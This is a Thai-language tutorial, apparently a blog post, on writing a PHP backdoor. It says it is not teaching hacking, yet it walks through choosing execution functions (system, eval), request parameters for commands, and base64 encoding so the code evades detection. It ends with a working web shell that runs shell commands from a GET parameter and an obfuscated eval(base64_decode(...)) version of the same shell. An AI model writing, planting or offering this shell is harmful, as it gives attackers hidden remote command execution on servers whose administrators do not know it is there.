ถ้ากล่าวถึงคำว่า Backdoor ผู้ ที่สนใจและชำนาญในระบบคอมพิวเตอร์หรือผู้ที่มีหน้าที่ดูแลระบบคอมพิวเตอร์จะ ทราบดี มันหมายถึง การเข้าถึงระบบหรือเครื่องคอมพิวเตอร์โดยเส้นทางพิเศษที่สร้างไว้ ซึ่งความจริงแล้วคำนี้เป็นคำที่ดี แต่บรรดา Hacker ด้านมืด (Black Hacker ) ไปทำให้คำนี้ถูกมองในทางร้าย เพราะ Black Hacker (นัก เจาะระบบฝ่ายอธรรม) คือชอบเจาะระบบแล้วจะทำทางลับไว้เพื่อจะเข้าระบบไปทำการไม่ดีโดยที่ ผู้ดูแลระบบไม่รู้ตัว ส่วนผู้ดูแลระบบเราเรียกกันว่า Admin หรือผู้ที่เป็น White Hacker (นักเจาะระบบฝ่ายธรรมะ)มีไม่น้อยก็มักจะทำ Backdoor .แต่เจตนาดี ทำไว้ในกรณีพิเศษ เช่น เครื่องมีปัญหาเข้าในนามของ admin แบบธรรมดาไม่ได้ ก็ใช้วิธีนี้ เข้าระบบได้ หรือเป็นการทดสอบการรักษาความปลอดภัยของระบบ
แต่ที่จะมาบอกกล่าววันนี้ไม่ได้สอนให้ hack ระบบของใคร แต่จะมาบอกวิธีทำ Backdoor แบบง่ายๆ ที่ใครๆ ก็ทำได้ไม่ต้องเก่งกาจด้านคอมพิวเตอร์อะไรมากนัก ที่เอามาบอกกันนี้ ถือว่าเป็นวิทยาทาน ขอให้เอาไปใช้ในทางสร้างสรรค์แก้ปัญหาให้กับตัวเองหรือผู้อื่นนะครับ
ขั้นที่ 1 ทำความรู้จักกับฟังก์ชันที่จะใช้ทำ Backdoor :
- System(); // Executes an external program.
- Exec(); // Executes an external program.
- Fopen(); // Opens a file on the system.
- Include(); // Includes a file to be executed.
- Eval(); // Executes PHP code.
ขั้นที่ 2 เลือกวิธีการส่งคำสั่งให้ Backdoor :
- $_GET['var']; // Receives input like: file.php?var=command
- $_POST['var']; // Receives input via the POST-parameter. (LiveHTTPHeaders can be used).
- $_COOKIE['var']; // Receives input via browser-cookies.
ขั้นที่ 3 เลือกคำสั่ง encode backdoor :
- Base64 encoding (base64_encode() is a builtin function).
- Encode it like shellcode: "xDExADxBExEF";
- And possibly many more ways!
มาดูตัวอย่างการทำ backdoor กันเลยครับ
- สิ่งที่ผมเลือกใช้ คือ system() + $_GET[] + base64_encode()
ก่อนอื่นลองเขียน code ที่จะใช้เป็น backdoor :
PHP Code:
<?php system($_GET['s3cr3t']); ?>
จะสังเกตุว่าถ้าหากเราเขียนตรงๆ แบบนี้คงถูกตรวจเช็คเจอได้ง่ายแน่ ดังนั้นเราต้อง encode มันก่อนครับ
เราจะ encode เอง หรือใช้ tool ช่วยก็ได้ครับ เดี่ยวนี้ tool มีเยอะมาก ลองหาๆ กันดูครับ :
<?php
$var = "system($_GET['s3cr3t']);"; // $ needs to be escaped.
echo base64_encode($var);
?>
ผลที่ได้หลังจาก encode : c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7
ดังนั้น code ของ backdoor ไฟล์ จะออกมาเป็นดังนี้ครับ :
PHP Code:
<?php
eval(base64_decode("c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7"));
?>